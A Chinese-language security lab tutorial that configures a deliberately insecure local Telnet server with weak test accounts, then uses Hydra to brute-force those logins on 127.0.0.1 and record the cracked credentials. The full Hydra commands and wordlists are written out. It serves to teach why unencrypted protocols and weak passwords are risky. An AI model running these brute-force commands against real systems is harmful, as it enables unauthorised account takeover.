介绍
在这个实验(lab)中,你将学习如何使用 Hydra(一款多功能的密码破解工具)对 Telnet 服务进行暴力破解攻击。你将设置一个存在漏洞的 Telnet 环境,并使用 Hydra 来演示如何利用薄弱的凭据。
本实验(lab)涵盖 Telnet 服务器配置、创建测试凭据以及执行 Hydra 攻击,以突出安全风险。通过实践操作,你将了解 Telnet 不安全的原因,并学习使用加密替代方案的重要性。
在这个实验(lab)中,你将学习如何使用 Hydra(一款多功能的密码破解工具)对 Telnet 服务进行暴力破解攻击。你将设置一个存在漏洞的 Telnet 环境,并使用 Hydra 来演示如何利用薄弱的凭据。
本实验(lab)涵盖 Telnet 服务器配置、创建测试凭据以及执行 Hydra 攻击,以突出安全风险。通过实践操作,你将了解 Telnet 不安全的原因,并学习使用加密替代方案的重要性。
在此步骤中,你将在你的 LabEx 虚拟机(VM)上安装 Telnet 服务器,以创建一个本地测试环境。Telnet 是最古老的网络协议之一,允许远程访问系统。但是,它以明文形式传输所有数据(包括密码),而没有加密,这使得它在实际应用中非常不安全,但非常适合学习安全测试概念。
sudo apt update
-y
标志会自动确认安装过程中的任何提示:sudo apt install -y xinetd telnetd
/etc/xinetd.d/telnet
创建 Telnet 配置文件。我们将使用 nano,这是一个简单的文本编辑器,大多数 Linux 系统都自带:sudo nano /etc/xinetd.d/telnet
disable = no
行特别重要,因为它激活了该服务:service telnet
{
disable = no
flags = REUSE
socket_type = stream
wait = no
user = root
server = /usr/sbin/in.telnetd
log_on_failure += USERID
}
sudo service xinetd restart
netstat
命令显示活动的网络连接和监听端口:sudo netstat -tulnp
你应该看到类似于以下的输出,表明 Telnet 服务正在端口 23 上监听:
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 22/sshd: /usr/sbin/
tcp 0 0 0.0.0.0:3001 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:3002 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.11:38203 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN 22/sshd: /usr/sbin/
tcp6 0 0 :::23 :::* LISTEN 1620/xinetd
udp 0 0 0.0.0.0:3001 0.0.0.0:* -
udp 0 0 127.0.0.11:54421 0.0.0.0:* -
在此步骤中,你将创建测试账户,这些账户将用于 Hydra 暴力破解攻击演示。这些账户代表在真实系统中发现的常见弱凭据,使我们能够安全地演示攻击者如何利用糟糕的密码习惯。
useradd
命令创建三个测试用户账户。-m
标志确保为每个用户创建主目录:sudo useradd -m user1
sudo useradd -m user2
sudo useradd -m user3
chpasswd
命令安全地更改密码,而无需交互式提示:echo "user1:password" | sudo chpasswd
echo "user2:123456" | sudo chpasswd
echo "user3:qwerty" | sudo chpasswd
grep
命令在 /etc/passwd
中过滤我们的测试用户,该文件存储所有用户账户信息:grep -E 'user1|user2|user3' /etc/passwd
你应该看到类似于以下的输出:
user1:x:5001:5001::/home/user1:/bin/sh
user2:x:5002:5003::/home/user2:/bin/sh
user3:x:5003:5004::/home/user3:/bin/sh
cd ~/project
echo -e "user1\nuser2\nuser3" > usernames.txt
echo -e "password\n123456\nqwerty" > passwords.txt
cat
命令显示文件内容——我们正在检查这两个文件,以确保符合 Hydra 要求的正确格式:cat usernames.txt && cat passwords.txt
你应该看到:
user1
user2
user3
password
123456
qwerty
在此步骤中,你将准备 Hydra 将用于暴力破解攻击的凭据文件。这些文件包含我们在上一步中创建的用户名和密码。暴力破解攻击的工作原理是系统地尝试所有可能的凭据组合,直到找到正确的组合。拥有组织良好的凭据文件可以使此过程更加高效。
cd ~/project
ls -l usernames.txt passwords.txt
你应该看到类似于以下的输出:
-rw-r--r-- 1 labex labex 12 May 1 10:00 passwords.txt
-rw-r--r-- 1 labex labex 12 May 1 10:00 usernames.txt
echo "Usernames:" && cat usernames.txt
echo "Passwords:" && cat passwords.txt
预期输出:
Usernames:
user1
user2
user3
Passwords:
password
123456
qwerty
paste usernames.txt passwords.txt > credentials.txt
cat credentials.txt
这将显示:
user1 password
user2 123456
user3 qwerty
sudo apt install -y hydra hydra-gtk
hydra -h | head -n 5
你应该看到 Hydra 的帮助输出,从以下内容开始:
Hydra v9.2 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]
在此步骤中,你将使用 Hydra 对本地 Telnet 服务器执行暴力破解攻击,使用之前准备的凭据文件。Hydra 是一种流行的密码破解工具,支持多种协议,包括 Telnet。该攻击将系统地尝试你文件中的所有用户名/密码组合。
cd ~/project
-L
标志指定用户名列表,-P
指定密码列表:hydra -L usernames.txt -P passwords.txt telnet://127.0.0.1
[DATA] attacking telnet://127.0.0.1:23/
[23][telnet] host: 127.0.0.1 login: user3 password: qwerty
[23][telnet] host: 127.0.0.1 login: user2 password: 123456
[23][telnet] host: 127.0.0.1 login: user1 password: password
1 of 1 target successfully completed, 3 valid passwords found
-o
标志,后跟输出文件名:hydra -L usernames.txt -P passwords.txt telnet://127.0.0.1 -o hydra_results.txt
cat hydra_results.txt
显示成功登录尝试的示例输出:
[23][telnet] host: 127.0.0.1 login: user3 password: qwerty
[23][telnet] host: 127.0.0.1 login: user2 password: 123456
[23][telnet] host: 127.0.0.1 login: user1 password: password
-vV
标志启用详细模式(verbose mode),显示 Hydra 尝试的每个组合:hydra -vV -L usernames.txt -P passwords.txt telnet://127.0.0.1
详细输出将如下所示,显示失败和成功的尝试:
[VERBOSE] Attempting user1:password... [SUCCESS]
在此步骤中,你将分析 Hydra 对 Telnet 服务进行的暴力破解攻击的结果,以了解哪些凭据被泄露。Hydra 会针对该服务测试多个用户名/密码组合,并且输出文件包含所有成功的登录以及失败的尝试。
cd ~/project
cat hydra_results.txt
示例输出显示了成功登录的格式。每行包含协议(telnet)、目标 IP 地址和破解的凭据:
[23][telnet] host: 127.0.0.1 login: user1 password: password
[23][telnet] host: 127.0.0.1 login: user2 password: 123456
grep "login:" hydra_results.txt
telnet 127.0.0.1
在登录提示符下输入:
user1
password
成功登录将显示服务器欢迎消息和命令提示符:
Welcome to LabEx Telnet Server
user1@localhost:~$
完成测试后,键入 exit
以退出 Telnet 会话。
echo "Compromised Accounts:" > attack_summary.txt
grep "login:" hydra_results.txt >> attack_summary.txt
echo -e "\nTotal compromised: $(grep -c "login:" hydra_results.txt)" >> attack_summary.txt
cat attack_summary.txt
在这个实验中,你学习了如何使用 xinetd 和弱凭据设置一个易受攻击的 Telnet 服务器环境,以用于安全测试目的。该过程包括在 23 端口上配置 Telnet 服务,并创建具有故意设置的弱密码的测试帐户,以演示身份验证漏洞。
该练习突出了使用像 Telnet 这样未加密协议的安全风险,以及实施强密码策略的关键重要性。通过使用 Hydra 的实际演示,你观察到暴力破解攻击可以多么容易地攻破具有弱身份验证机制的系统。